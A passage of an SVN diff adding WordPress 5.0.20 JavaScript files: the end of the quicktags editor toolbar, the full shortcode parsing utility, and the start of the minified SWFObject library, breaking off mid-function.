+	qt.addButton = function( id, display, arg1, arg2, access_key, title, priority, instance, attr ) {
+		var btn;
+
+		if ( !id || !display ) {
+			return;
+		}
+
+		priority = priority || 0;
+		arg2 = arg2 || '';
+		attr = attr || {};
+
+		if ( typeof(arg1) === 'function' ) {
+			btn = new qt.Button( id, display, access_key, title, instance, attr );
+			btn.callback = arg1;
+		} else if ( typeof(arg1) === 'string' ) {
+			btn = new qt.TagButton( id, display, arg1, arg2, access_key, title, instance, attr );
+		} else {
+			return;
+		}
+
+		if ( priority === -1 ) { // back-compat
+			return btn;
+		}
+
+		if ( priority > 0 ) {
+			while ( typeof(edButtons[priority]) !== 'undefined' ) {
+				priority++;
+			}
+
+			edButtons[priority] = btn;
+		} else {
+			edButtons[edButtons.length] = btn;
+		}
+
+		if ( this.buttonsInitDone ) {
+			this._buttonsInit(); // add the button HTML to all instances toolbars if addButton() was called too late
+		}
+	};
+
+	qt.insertContent = function(content) {
+		var sel, startPos, endPos, scrollTop, text, canvas = document.getElementById(wpActiveEditor), event;
+
+		if ( !canvas ) {
+			return false;
+		}
+
+		if ( document.selection ) { //IE
+			canvas.focus();
+			sel = document.selection.createRange();
+			sel.text = content;
+			canvas.focus();
+		} else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera
+			text = canvas.value;
+			startPos = canvas.selectionStart;
+			endPos = canvas.selectionEnd;
+			scrollTop = canvas.scrollTop;
+
+			canvas.value = text.substring(0, startPos) + content + text.substring(endPos, text.length);
+
+			canvas.selectionStart = startPos + content.length;
+			canvas.selectionEnd = startPos + content.length;
+			canvas.scrollTop = scrollTop;
+			canvas.focus();
+		} else {
+			canvas.value += content;
+			canvas.focus();
+		}
+
+		if ( document.createEvent ) {
+			event = document.createEvent( 'HTMLEvents' );
+			event.initEvent( 'change', false, true );
+			canvas.dispatchEvent( event );
+		} else if ( canvas.fireEvent ) {
+			canvas.fireEvent( 'onchange' );
+		}
+
+		return true;
+	};
+
+	// a plain, dumb button
+	qt.Button = function( id, display, access, title, instance, attr ) {
+		this.id = id;
+		this.display = display;
+		this.access = '';
+		this.title = title || '';
+		this.instance = instance || '';
+		this.attr = attr || {};
+	};
+	qt.Button.prototype.html = function(idPrefix) {
+		var active, on, wp,
+			title = this.title ? ' title="' + _escape( this.title ) + '"' : '',
+			ariaLabel = this.attr && this.attr.ariaLabel ? ' aria-label="' + _escape( this.attr.ariaLabel ) + '"' : '',
+			val = this.display ? ' value="' + _escape( this.display ) + '"' : '',
+			id = this.id ? ' id="' + _escape( idPrefix + this.id ) + '"' : '',
+			dfw = ( wp = window.wp ) && wp.editor && wp.editor.dfw;
+
+		if ( this.id === 'fullscreen' ) {
+			return '<button type="button"' + id + ' class="ed_button qt-dfw qt-fullscreen"' + title + ariaLabel + '></button>';
+		} else if ( this.id === 'dfw' ) {
+			active = dfw && dfw.isActive() ? '' : ' disabled="disabled"';
+			on = dfw && dfw.isOn() ? ' active' : '';
+
+			return '<button type="button"' + id + ' class="ed_button qt-dfw' + on + '"' + title + ariaLabel + active + '></button>';
+		}
+
+		return '<input type="button"' + id + ' class="ed_button button button-small"' + title + ariaLabel + val + ' />';
+	};
+	qt.Button.prototype.callback = function(){};
+
+	// a button that inserts HTML tag
+	qt.TagButton = function( id, display, tagStart, tagEnd, access, title, instance, attr ) {
+		var t = this;
+		qt.Button.call( t, id, display, access, title, instance, attr );
+		t.tagStart = tagStart;
+		t.tagEnd = tagEnd;
+	};
+	qt.TagButton.prototype = new qt.Button();
+	qt.TagButton.prototype.openTag = function( element, ed ) {
+		if ( ! ed.openTags ) {
+			ed.openTags = [];
+		}
+
+		if ( this.tagEnd ) {
+			ed.openTags.push( this.id );
+			element.value = '/' + element.value;
+
+			if ( this.attr.ariaLabelClose ) {
+				element.setAttribute( 'aria-label', this.attr.ariaLabelClose );
+			}
+		}
+	};
+	qt.TagButton.prototype.closeTag = function( element, ed ) {
+		var i = this.isOpen(ed);
+
+		if ( i !== false ) {
+			ed.openTags.splice( i, 1 );
+		}
+
+		element.value = this.display;
+
+		if ( this.attr.ariaLabel ) {
+			element.setAttribute( 'aria-label', this.attr.ariaLabel );
+		}
+	};
+	// whether a tag is open or not. Returns false if not open, or current open depth of the tag
+	qt.TagButton.prototype.isOpen = function (ed) {
+		var t = this, i = 0, ret = false;
+		if ( ed.openTags ) {
+			while ( ret === false && i < ed.openTags.length ) {
+				ret = ed.openTags[i] === t.id ? i : false;
+				i ++;
+			}
+		} else {
+			ret = false;
+		}
+		return ret;
+	};
+	qt.TagButton.prototype.callback = function(element, canvas, ed) {
+		var t = this, startPos, endPos, cursorPos, scrollTop, v = canvas.value, l, r, i, sel, endTag = v ? t.tagEnd : '', event;
+
+		if ( document.selection ) { // IE
+			canvas.focus();
+			sel = document.selection.createRange();
+			if ( sel.text.length > 0 ) {
+				if ( !t.tagEnd ) {
+					sel.text = sel.text + t.tagStart;
+				} else {
+					sel.text = t.tagStart + sel.text + endTag;
+				}
+			} else {
+				if ( !t.tagEnd ) {
+					sel.text = t.tagStart;
+				} else if ( t.isOpen(ed) === false ) {
+					sel.text = t.tagStart;
+					t.openTag(element, ed);
+				} else {
+					sel.text = endTag;
+					t.closeTag(element, ed);
+				}
+			}
+			canvas.focus();
+		} else if ( canvas.selectionStart || canvas.selectionStart === 0 ) { // FF, WebKit, Opera
+			startPos = canvas.selectionStart;
+			endPos = canvas.selectionEnd;
+
+			if ( startPos < endPos && v.charAt( endPos - 1 ) === '\n' ) {
+				endPos -= 1;
+			}
+
+			cursorPos = endPos;
+			scrollTop = canvas.scrollTop;
+			l = v.substring(0, startPos); // left of the selection
+			r = v.substring(endPos, v.length); // right of the selection
+			i = v.substring(startPos, endPos); // inside the selection
+			if ( startPos !== endPos ) {
+				if ( !t.tagEnd ) {
+					canvas.value = l + i + t.tagStart + r; // insert self closing tags after the selection
+					cursorPos += t.tagStart.length;
+				} else {
+					canvas.value = l + t.tagStart + i + endTag + r;
+					cursorPos += t.tagStart.length + endTag.length;
+				}
+			} else {
+				if ( !t.tagEnd ) {
+					canvas.value = l + t.tagStart + r;
+					cursorPos = startPos + t.tagStart.length;
+				} else if ( t.isOpen(ed) === false ) {
+					canvas.value = l + t.tagStart + r;
+					t.openTag(element, ed);
+					cursorPos = startPos + t.tagStart.length;
+				} else {
+					canvas.value = l + endTag + r;
+					cursorPos = startPos + endTag.length;
+					t.closeTag(element, ed);
+				}
+			}
+
+			canvas.selectionStart = cursorPos;
+			canvas.selectionEnd = cursorPos;
+			canvas.scrollTop = scrollTop;
+			canvas.focus();
+		} else { // other browsers?
+			if ( !endTag ) {
+				canvas.value += t.tagStart;
+			} else if ( t.isOpen(ed) !== false ) {
+				canvas.value += t.tagStart;
+				t.openTag(element, ed);
+			} else {
+				canvas.value += endTag;
+				t.closeTag(element, ed);
+			}
+			canvas.focus();
+		}
+
+		if ( document.createEvent ) {
+			event = document.createEvent( 'HTMLEvents' );
+			event.initEvent( 'change', false, true );
+			canvas.dispatchEvent( event );
+		} else if ( canvas.fireEvent ) {
+			canvas.fireEvent( 'onchange' );
+		}
+	};
+
+	// removed
+	qt.SpellButton = function() {};
+
+	// the close tags button
+	qt.CloseButton = function() {
+		qt.Button.call( this, 'close', quicktagsL10n.closeTags, '', quicktagsL10n.closeAllOpenTags );
+	};
+
+	qt.CloseButton.prototype = new qt.Button();
+
+	qt._close = function(e, c, ed) {
+		var button, element, tbo = ed.openTags;
+
+		if ( tbo ) {
+			while ( tbo.length > 0 ) {
+				button = ed.getButton(tbo[tbo.length - 1]);
+				element = document.getElementById(ed.name + '_' + button.id);
+
+				if ( e ) {
+					button.callback.call(button, element, c, ed);
+				} else {
+					button.closeTag(element, ed);
+				}
+			}
+		}
+	};
+
+	qt.CloseButton.prototype.callback = qt._close;
+
+	qt.closeAllTags = function( editor_id ) {
+		var ed = this.getInstance( editor_id );
+
+		if ( ed ) {
+			qt._close( '', ed.canvas, ed );
+		}
+	};
+
+	// the link button
+	qt.LinkButton = function() {
+		var attr = {
+			ariaLabel: quicktagsL10n.link
+		};
+
+		qt.TagButton.call( this, 'link', 'link', '', '</a>', '', '', '', attr );
+	};
+	qt.LinkButton.prototype = new qt.TagButton();
+	qt.LinkButton.prototype.callback = function(e, c, ed, defaultValue) {
+		var URL, t = this;
+
+		if ( typeof wpLink !== 'undefined' ) {
+			wpLink.open( ed.id );
+			return;
+		}
+
+		if ( ! defaultValue ) {
+			defaultValue = 'http://';
+		}
+
+		if ( t.isOpen(ed) === false ) {
+			URL = prompt( quicktagsL10n.enterURL, defaultValue );
+			if ( URL ) {
+				t.tagStart = '<a href="' + URL + '">';
+				qt.TagButton.prototype.callback.call(t, e, c, ed);
+			}
+		} else {
+			qt.TagButton.prototype.callback.call(t, e, c, ed);
+		}
+	};
+
+	// the img button
+	qt.ImgButton = function() {
+		var attr = {
+			ariaLabel: quicktagsL10n.image
+		};
+
+		qt.TagButton.call( this, 'img', 'img', '', '', '', '', '', attr );
+	};
+	qt.ImgButton.prototype = new qt.TagButton();
+	qt.ImgButton.prototype.callback = function(e, c, ed, defaultValue) {
+		if ( ! defaultValue ) {
+			defaultValue = 'http://';
+		}
+		var src = prompt(quicktagsL10n.enterImageURL, defaultValue), alt;
+		if ( src ) {
+			alt = prompt(quicktagsL10n.enterImageDescription, '');
+			this.tagStart = '<img src="' + src + '" alt="' + alt + '" />';
+			qt.TagButton.prototype.callback.call(this, e, c, ed);
+		}
+	};
+
+	qt.DFWButton = function() {
+		qt.Button.call( this, 'dfw', '', 'f', quicktagsL10n.dfw );
+	};
+	qt.DFWButton.prototype = new qt.Button();
+	qt.DFWButton.prototype.callback = function() {
+		var wp;
+
+		if ( ! ( wp = window.wp ) || ! wp.editor || ! wp.editor.dfw ) {
+			return;
+		}
+
+		window.wp.editor.dfw.toggle();
+	};
+
+	qt.TextDirectionButton = function() {
+		qt.Button.call( this, 'textdirection', quicktagsL10n.textdirection, '', quicktagsL10n.toggleTextdirection );
+	};
+	qt.TextDirectionButton.prototype = new qt.Button();
+	qt.TextDirectionButton.prototype.callback = function(e, c) {
+		var isRTL = ( 'rtl' === document.getElementsByTagName('html')[0].dir ),
+			currentDirection = c.style.direction;
+
+		if ( ! currentDirection ) {
+			currentDirection = ( isRTL ) ? 'rtl' : 'ltr';
+		}
+
+		c.style.direction = ( 'rtl' === currentDirection ) ? 'ltr' : 'rtl';
+		c.focus();
+	};
+
+	// ensure backward compatibility
+	edButtons[10]  = new qt.TagButton( 'strong', 'b', '<strong>', '</strong>', '', '', '', { ariaLabel: quicktagsL10n.strong, ariaLabelClose: quicktagsL10n.strongClose } );
+	edButtons[20]  = new qt.TagButton( 'em', 'i', '<em>', '</em>', '', '', '', { ariaLabel: quicktagsL10n.em, ariaLabelClose: quicktagsL10n.emClose } );
+	edButtons[30]  = new qt.LinkButton(); // special case
+	edButtons[40]  = new qt.TagButton( 'block', 'b-quote', '\n\n<blockquote>', '</blockquote>\n\n', '', '', '', { ariaLabel: quicktagsL10n.blockquote, ariaLabelClose: quicktagsL10n.blockquoteClose } );
+	edButtons[50]  = new qt.TagButton( 'del', 'del', '<del datetime="' + _datetime + '">', '</del>', '', '', '', { ariaLabel: quicktagsL10n.del, ariaLabelClose: quicktagsL10n.delClose } );
+	edButtons[60]  = new qt.TagButton( 'ins', 'ins', '<ins datetime="' + _datetime + '">', '</ins>', '', '', '', { ariaLabel: quicktagsL10n.ins, ariaLabelClose: quicktagsL10n.insClose } );
+	edButtons[70]  = new qt.ImgButton(); // special case
+	edButtons[80]  = new qt.TagButton( 'ul', 'ul', '<ul>\n', '</ul>\n\n', '', '', '', { ariaLabel: quicktagsL10n.ul, ariaLabelClose: quicktagsL10n.ulClose } );
+	edButtons[90]  = new qt.TagButton( 'ol', 'ol', '<ol>\n', '</ol>\n\n', '', '', '', { ariaLabel: quicktagsL10n.ol, ariaLabelClose: quicktagsL10n.olClose } );
+	edButtons[100] = new qt.TagButton( 'li', 'li', '\t<li>', '</li>\n', '', '', '', { ariaLabel: quicktagsL10n.li, ariaLabelClose: quicktagsL10n.liClose } );
+	edButtons[110] = new qt.TagButton( 'code', 'code', '<code>', '</code>', '', '', '', { ariaLabel: quicktagsL10n.code, ariaLabelClose: quicktagsL10n.codeClose } );
+	edButtons[120] = new qt.TagButton( 'more', 'more', '<!--more-->\n\n', '', '', '', '', { ariaLabel: quicktagsL10n.more } );
+	edButtons[140] = new qt.CloseButton();
+
+})();
Index: /tags/5.0.20/src/wp-includes/js/shortcode.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/shortcode.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/shortcode.js	(revision 56912)
@@ -0,0 +1,358 @@
+// Utility functions for parsing and handling shortcodes in JavaScript.
+
+/**
+ * Ensure the global `wp` object exists.
+ *
+ * @namespace wp
+ */
+window.wp = window.wp || {};
+
+(function(){
+	wp.shortcode = {
+		// ### Find the next matching shortcode
+		//
+		// Given a shortcode `tag`, a block of `text`, and an optional starting
+		// `index`, returns the next matching shortcode or `undefined`.
+		//
+		// Shortcodes are formatted as an object that contains the match
+		// `content`, the matching `index`, and the parsed `shortcode` object.
+		next: function( tag, text, index ) {
+			var re = wp.shortcode.regexp( tag ),
+				match, result;
+
+			re.lastIndex = index || 0;
+			match = re.exec( text );
+
+			if ( ! match ) {
+				return;
+			}
+
+			// If we matched an escaped shortcode, try again.
+			if ( '[' === match[1] && ']' === match[7] ) {
+				return wp.shortcode.next( tag, text, re.lastIndex );
+			}
+
+			result = {
+				index:     match.index,
+				content:   match[0],
+				shortcode: wp.shortcode.fromMatch( match )
+			};
+
+			// If we matched a leading `[`, strip it from the match
+			// and increment the index accordingly.
+			if ( match[1] ) {
+				result.content = result.content.slice( 1 );
+				result.index++;
+			}
+
+			// If we matched a trailing `]`, strip it from the match.
+			if ( match[7] ) {
+				result.content = result.content.slice( 0, -1 );
+			}
+
+			return result;
+		},
+
+		// ### Replace matching shortcodes in a block of text
+		//
+		// Accepts a shortcode `tag`, content `text` to scan, and a `callback`
+		// to process the shortcode matches and return a replacement string.
+		// Returns the `text` with all shortcodes replaced.
+		//
+		// Shortcode matches are objects that contain the shortcode `tag`,
+		// a shortcode `attrs` object, the `content` between shortcode tags,
+		// and a boolean flag to indicate if the match was a `single` tag.
+		replace: function( tag, text, callback ) {
+			return text.replace( wp.shortcode.regexp( tag ), function( match, left, tag, attrs, slash, content, closing, right ) {
+				// If both extra brackets exist, the shortcode has been
+				// properly escaped.
+				if ( left === '[' && right === ']' ) {
+					return match;
+				}
+
+				// Create the match object and pass it through the callback.
+				var result = callback( wp.shortcode.fromMatch( arguments ) );
+
+				// Make sure to return any of the extra brackets if they
+				// weren't used to escape the shortcode.
+				return result ? left + result + right : match;
+			});
+		},
+
+		// ### Generate a string from shortcode parameters
+		//
+		// Creates a `wp.shortcode` instance and returns a string.
+		//
+		// Accepts the same `options` as the `wp.shortcode()` constructor,
+		// containing a `tag` string, a string or object of `attrs`, a boolean
+		// indicating whether to format the shortcode using a `single` tag, and a
+		// `content` string.
+		string: function( options ) {
+			return new wp.shortcode( options ).string();
+		},
+
+		// ### Generate a RegExp to identify a shortcode
+		//
+		// The base regex is functionally equivalent to the one found in
+		// `get_shortcode_regex()` in `wp-includes/shortcodes.php`.
+		//
+		// Capture groups:
+		//
+		// 1. An extra `[` to allow for escaping shortcodes with double `[[]]`
+		// 2. The shortcode name
+		// 3. The shortcode argument list
+		// 4. The self closing `/`
+		// 5. The content of a shortcode when it wraps some content.
+		// 6. The closing tag.
+		// 7. An extra `]` to allow for escaping shortcodes with double `[[]]`
+		regexp: _.memoize( function( tag ) {
+			return new RegExp( '\\[(\\[?)(' + tag + ')(?![\\w-])([^\\]\\/]*(?:\\/(?!\\])[^\\]\\/]*)*?)(?:(\\/)\\]|\\](?:([^\\[]*(?:\\[(?!\\/\\2\\])[^\\[]*)*)(\\[\\/\\2\\]))?)(\\]?)', 'g' );
+		}),
+
+
+		// ### Parse shortcode attributes
+		//
+		// Shortcodes accept many types of attributes. These can chiefly be
+		// divided into named and numeric attributes:
+		//
+		// Named attributes are assigned on a key/value basis, while numeric
+		// attributes are treated as an array.
+		//
+		// Named attributes can be formatted as either `name="value"`,
+		// `name='value'`, or `name=value`. Numeric attributes can be formatted
+		// as `"value"` or just `value`.
+		attrs: _.memoize( function( text ) {
+			var named   = {},
+				numeric = [],
+				pattern, match;
+
+			// This regular expression is reused from `shortcode_parse_atts()`
+			// in `wp-includes/shortcodes.php`.
+			//
+			// Capture groups:
+			//
+			// 1. An attribute name, that corresponds to...
+			// 2. a value in double quotes.
+			// 3. An attribute name, that corresponds to...
+			// 4. a value in single quotes.
+			// 5. An attribute name, that corresponds to...
+			// 6. an unquoted value.
+			// 7. A numeric attribute in double quotes.
+			// 8. A numeric attribute in single quotes.
+			// 9. An unquoted numeric attribute.
+			pattern = /([\w-]+)\s*=\s*"([^"]*)"(?:\s|$)|([\w-]+)\s*=\s*'([^']*)'(?:\s|$)|([\w-]+)\s*=\s*([^\s'"]+)(?:\s|$)|"([^"]*)"(?:\s|$)|'([^']*)'(?:\s|$)|(\S+)(?:\s|$)/g;
+
+			// Map zero-width spaces to actual spaces.
+			text = text.replace( /[\u00a0\u200b]/g, ' ' );
+
+			// Match and normalize attributes.
+			while ( (match = pattern.exec( text )) ) {
+				if ( match[1] ) {
+					named[ match[1].toLowerCase() ] = match[2];
+				} else if ( match[3] ) {
+					named[ match[3].toLowerCase() ] = match[4];
+				} else if ( match[5] ) {
+					named[ match[5].toLowerCase() ] = match[6];
+				} else if ( match[7] ) {
+					numeric.push( match[7] );
+				} else if ( match[8] ) {
+					numeric.push( match[8] );
+				} else if ( match[9] ) {
+					numeric.push( match[9] );
+				}
+			}
+
+			return {
+				named:   named,
+				numeric: numeric
+			};
+		}),
+
+		// ### Generate a Shortcode Object from a RegExp match
+		// Accepts a `match` object from calling `regexp.exec()` on a `RegExp`
+		// generated by `wp.shortcode.regexp()`. `match` can also be set to the
+		// `arguments` from a callback passed to `regexp.replace()`.
+		fromMatch: function( match ) {
+			var type;
+
+			if ( match[4] ) {
+				type = 'self-closing';
+			} else if ( match[6] ) {
+				type = 'closed';
+			} else {
+				type = 'single';
+			}
+
+			return new wp.shortcode({
+				tag:     match[2],
+				attrs:   match[3],
+				type:    type,
+				content: match[5]
+			});
+		}
+	};
+
+
+	// Shortcode Objects
+	// -----------------
+	//
+	// Shortcode objects are generated automatically when using the main
+	// `wp.shortcode` methods: `next()`, `replace()`, and `string()`.
+	//
+	// To access a raw representation of a shortcode, pass an `options` object,
+	// containing a `tag` string, a string or object of `attrs`, a string
+	// indicating the `type` of the shortcode ('single', 'self-closing', or
+	// 'closed'), and a `content` string.
+	wp.shortcode = _.extend( function( options ) {
+		_.extend( this, _.pick( options || {}, 'tag', 'attrs', 'type', 'content' ) );
+
+		var attrs = this.attrs;
+
+		// Ensure we have a correctly formatted `attrs` object.
+		this.attrs = {
+			named:   {},
+			numeric: []
+		};
+
+		if ( ! attrs ) {
+			return;
+		}
+
+		// Parse a string of attributes.
+		if ( _.isString( attrs ) ) {
+			this.attrs = wp.shortcode.attrs( attrs );
+
+		// Identify a correctly formatted `attrs` object.
+		} else if ( _.isEqual( _.keys( attrs ), [ 'named', 'numeric' ] ) ) {
+			this.attrs = attrs;
+
+		// Handle a flat object of attributes.
+		} else {
+			_.each( options.attrs, function( value, key ) {
+				this.set( key, value );
+			}, this );
+		}
+	}, wp.shortcode );
+
+	_.extend( wp.shortcode.prototype, {
+		// ### Get a shortcode attribute
+		//
+		// Automatically detects whether `attr` is named or numeric and routes
+		// it accordingly.
+		get: function( attr ) {
+			return this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ];
+		},
+
+		// ### Set a shortcode attribute
+		//
+		// Automatically detects whether `attr` is named or numeric and routes
+		// it accordingly.
+		set: function( attr, value ) {
+			this.attrs[ _.isNumber( attr ) ? 'numeric' : 'named' ][ attr ] = value;
+			return this;
+		},
+
+		// ### Transform the shortcode match into a string
+		string: function() {
+			var text    = '[' + this.tag;
+
+			_.each( this.attrs.numeric, function( value ) {
+				if ( /\s/.test( value ) ) {
+					text += ' "' + value + '"';
+				} else {
+					text += ' ' + value;
+				}
+			});
+
+			_.each( this.attrs.named, function( value, name ) {
+				text += ' ' + name + '="' + value + '"';
+			});
+
+			// If the tag is marked as `single` or `self-closing`, close the
+			// tag and ignore any additional content.
+			if ( 'single' === this.type ) {
+				return text + ']';
+			} else if ( 'self-closing' === this.type ) {
+				return text + ' /]';
+			}
+
+			// Complete the opening tag.
+			text += ']';
+
+			if ( this.content ) {
+				text += this.content;
+			}
+
+			// Add the closing tag.
+			return text + '[/' + this.tag + ']';
+		}
+	});
+}());
+
+// HTML utility functions
+// ----------------------
+//
+// Experimental. These functions may change or be removed in the future.
+(function(){
+	wp.html = _.extend( wp.html || {}, {
+		// ### Parse HTML attributes.
+		//
+		// Converts `content` to a set of parsed HTML attributes.
+		// Utilizes `wp.shortcode.attrs( content )`, which is a valid superset of
+		// the HTML attribute specification. Reformats the attributes into an
+		// object that contains the `attrs` with `key:value` mapping, and a record
+		// of the attributes that were entered using `empty` attribute syntax (i.e.
+		// with no value).
+		attrs: function( content ) {
+			var result, attrs;
+
+			// If `content` ends in a slash, strip it.
+			if ( '/' === content[ content.length - 1 ] ) {
+				content = content.slice( 0, -1 );
+			}
+
+			result = wp.shortcode.attrs( content );
+			attrs  = result.named;
+
+			_.each( result.numeric, function( key ) {
+				if ( /\s/.test( key ) ) {
+					return;
+				}
+
+				attrs[ key ] = '';
+			});
+
+			return attrs;
+		},
+
+		// ### Convert an HTML-representation of an object to a string.
+		string: function( options ) {
+			var text = '<' + options.tag,
+				content = options.content || '';
+
+			_.each( options.attrs, function( value, attr ) {
+				text += ' ' + attr;
+
+				// Convert boolean values to strings.
+				if ( _.isBoolean( value ) ) {
+					value = value ? 'true' : 'false';
+				}
+
+				text += '="' + value + '"';
+			});
+
+			// Return the result if it is a self-closing tag.
+			if ( options.single ) {
+				return text + ' />';
+			}
+
+			// Complete the opening tag.
+			text += '>';
+
+			// If `content` is an object, recursively call this function.
+			text += _.isObject( content ) ? wp.html.string( content ) : content;
+
+			return text + '</' + options.tag + '>';
+		}
+	});
+}());
Index: /tags/5.0.20/src/wp-includes/js/swfobject.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/swfobject.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/swfobject.js	(revision 56912)
@@ -0,0 +1,4 @@
+/*	SWFObject v2.2 <http://code.google.com/p/swfobject/> 
+	is released under the MIT License <http://www.opensource.org/licenses/mit-license.php> 
+*/
+var swfobject=function(){var D="undefined",r="object",S="Shockwave Flash",W="ShockwaveFlash.ShockwaveFlash",q="application/x-shockwave-flash",R="SWFObjectExprInst",x="onreadystatechange",O=window,j=document,t=navigator,T=false,U=[h],o=[],N=[],I=[],l,Q,E,B,J=false,a=false,n,G,m=true,M=function(){var aa=typeof j.getElementById!=D&&typeof j.getElementsByTagName!=D&&typeof j.createElement!=D,ah=t.userAgent.toLowerCase(),Y=t.platform.toLowerCase(),ae=Y?/win/.test(Y):/win/.test(ah),ac=Y?/mac/.test(Y):/mac/.test(ah),af=/webkit/.test(ah)?parseFloat(ah.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,X=!+"\v1",ag=[0,0,0],ab=null;if(typeof t.plugins!=D&&typeof t.plugins[S]==r){ab=t.plugins[S].description;if(ab&&!(typeof t.mimeTypes!=D&&t.mimeTypes[q]&&!t.mimeTypes[q].enabledPlugin)){T=true;X=false;ab=ab.replace(/^.*\s+(\S+\s+\S+$)/,"$1");ag[0]=parseInt(ab.replace(/^(.*)\..*$/,"$1"),10);ag[1]=parseInt(ab.replace(/^.*\.(.*)\s.*$/,"$1"),10);ag[2]=/[a-zA-Z]/.test(ab)?parseInt(ab.replace(/^.*[a-zA-Z]+(.*)$/,"$1"),10):0}}else{if(typeof O.ActiveXObject!=D){try{var ad=new ActiveXObject(W);if(ad){ab=ad.GetVariable("$version");if(ab){X=true;ab=ab.split(" ")[1].split(",");ag=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}}catch(Z){}}}return{w3:aa,pv:ag,wk:af,ie:X,win:ae,mac:ac}}(),k=function(){if(!M.w3){return}if((typeof j.readyState!=D&&j.readyState=="complete")||(typeof j.readyState==D&&(j.getElementsByTagName("body")[0]||j.body))){f()}if(!J){if(typeof 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h(){if(T){V()}else{H()}}function V(){var X=j.getElementsByTagName("body")[0];var aa=C(r);aa.setAttribute("type",q);var Z=X.appendChild(aa);if(Z){var Y=0;(function(){if(typeof Z.GetVariable!=D){var ab=Z.GetVariable("$version");if(ab){ab=ab.split(" ")[1].split(",");M.pv=[parseInt(ab[0],10),parseInt(ab[1],10),parseInt(ab[2],10)]}}else{if(Y<10){Y++;setTimeout(arguments.callee,10);return}}X.removeChild(aa);Z=null;H()})()}else{H()}}function H(){var ag=o.length;if(ag>0){for(var af=0;af<ag;af++){var Y=o[af].id;var ab=o[af].callbackFn;var aa={success:false,id:Y};if(M.pv[0]>0){var ae=c(Y);if(ae){if(F(o[af].swfVersion)&&!(M.wk&&M.wk<312)){w(Y,true);if(ab){aa.success=true;aa.ref=z(Y);ab(aa)}}else{if(o[af].expressInstall&&A()){var ai={};ai.data=o[af].expressInstall;ai.width=ae.getAttribute("width")||"0";ai.height=ae.getAttribute("height")||"0";if(ae.getAttribute("class")){ai.styleclass=ae.getAttribute("class")}if(ae.getAttribute("align")){ai.align=ae.getAttribute("align")}var ah={};var X=ae.getElementsByTagName("param");var ac=X.length;for(var ad=0;ad<ac;ad++){if(X[ad].getAttribute("name").toLowerCase()!="movie"){ah[X[ad].getAttribute("name")]=X[ad].getAttribute("value")}}P(ai,ah,Y,ab)}else{p(ae);if(ab){ab(aa)}}}}}else{w(Y,true);if(ab){var Z=z(Y);if(Z&&typeof Z.SetVariable!=D){aa.success=true;aa.ref=Z}ab(aa)}}}}}function z(aa){var X=null;var Y=c(aa);if(Y&&Y.nodeName=="OBJECT"){if(typeof Y.SetVariable!=D){X=Y}else{var Z=Y.getElementsByTagName(r)[0];if(Z){X=Z}}}return X}function A(){return !a&&F("6.0.65")&&(M.win||M.mac)&&!(M.wk&&M.wk<312)}function P(aa,ab,X,Z){a=true;E=Z||null;B={success:false,id:X};var ae=c(X);if(ae){if(ae.nodeName=="OBJECT"){l=g(ae);Q=null}else{l=ae;Q=X}aa.id=R;if(typeof aa.width==D||(!/%$/.test(aa.width)&&parseInt(aa.width,10)<310)){aa.width="310"}if(typeof aa.height==D||(!/%$/.test(aa.height)&&parseInt(aa.height,10)<137)){aa.height="137"}j.title=j.title.slice(0,47)+" - Flash Player Installation";var ad=M.ie&&M.win?"ActiveX":"PlugIn",ac="MMredirectURL="+encodeURI(O.location).toString().replace(/&/g,"%26")+"&MMplayerType="+ad+"&MMdoctitle="+j.title;if(typeof ab.flashvars!=D){ab.flashvars+="&"+ac}else{ab.flashvars=ac}if(M.ie&&M.win&&ae.readyState!=4){var Y=C("div");X+="SWFObjectNew";Y.setAttribute("id",X);ae.parentNode.insertBefore(Y,ae);ae.style.display="none";(function(){if(ae.readyState==4){ae.parentNode.removeChild(ae)}else{setTimeout(arguments.callee,10)}})()}u(aa,ab,X)}}function p(Y){if(M.ie&&M.win&&Y.readyState!=4){var X=C("div");Y.parentNode.insertBefore(X,Y);X.parentNode.replaceChild(g(Y),X);Y.style.display="none";(function(){if(Y.readyState==4){Y.parentNode.removeChild(Y)}else{setTimeout(arguments.callee,10)}})()}else{Y.parentNode.replaceChild(g(Y),Y)}}function g(ab){var aa=C("div");if(M.win&&M.ie){aa.innerHTML=ab.innerHTML}else{var Y=ab.getElementsByTagName(r)[0];if(Y){var ad=Y.childNodes;if(ad){var X=ad.length;for(var Z=0;Z<X;Z++){if(!(ad[Z].nodeType==1&&ad[Z].nodeName=="PARAM")&&!(ad[Z].nodeType==8)){aa.appendChild(ad[Z].cloneNode(true))}}}}}return aa}function u(ai,ag,Y){var X,aa=c(Y);if(M.wk&&M.wk<312){return X}if(aa){if(typeof ai.id==D){ai.id=Y}if(M.ie&&M.win){var ah="";for(var ae in ai){if(ai[ae]!=Object.prototype[ae]){if(ae.toLowerCase()=="data"){ag.movie=ai[ae]}else{if(ae.toLowerCase()=="styleclass"){ah+=' class="'+ai[ae]+'"'}else{if(ae.toLowerCase()!="classid"){ah+=" "+ae+'="'+ai[ae]+'"'}}}}}var af="";for(var ad in ag){if(ag[ad]!=Object.prototype[ad]){af+='<param name="'+ad+'" value="'+ag[ad]+'" />'}}aa.outerHTML='<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'+ah+">"+af+"</object>";N[N.length]=ai.id;X=c(ai.id)}else{var Z=C(r);Z.setAttribute("type",q);for(var ac in ai){if(ai[ac]!=Object.prototype[ac]){if(ac.toLowerCase()=="styleclass"){Z.setAttribute("class",ai[ac])}else{if(ac.toLowerCase()!="classid"){Z.setAttribute(ac,ai[ac])}}}}for(var ab in ag){if(ag[ab]!=Object.prototype[ab]&&ab.toLowerCase()!="movie"){e(Z,ab,ag[ab])}}aa.parentNode.replaceChild(Z,aa);X=Z}}return X}function e(Z,X,Y){var aa=C("param");aa.setAttribute("name",X);aa.setAttribute("value",Y);Z.appendChild(aa)}function y(Y){var X=c(Y);if(X&&X.nodeName=="OBJECT"){if(M.ie&&M.win){X.style.display="none";(function(){if(X.readyState==4){b(Y)}else{setTimeout(arguments.callee,10)}})()}else{X.parentNode.removeChild(X)}}}function b(Z){var Y=c(Z);if(Y){for(var X in Y){if(typeof 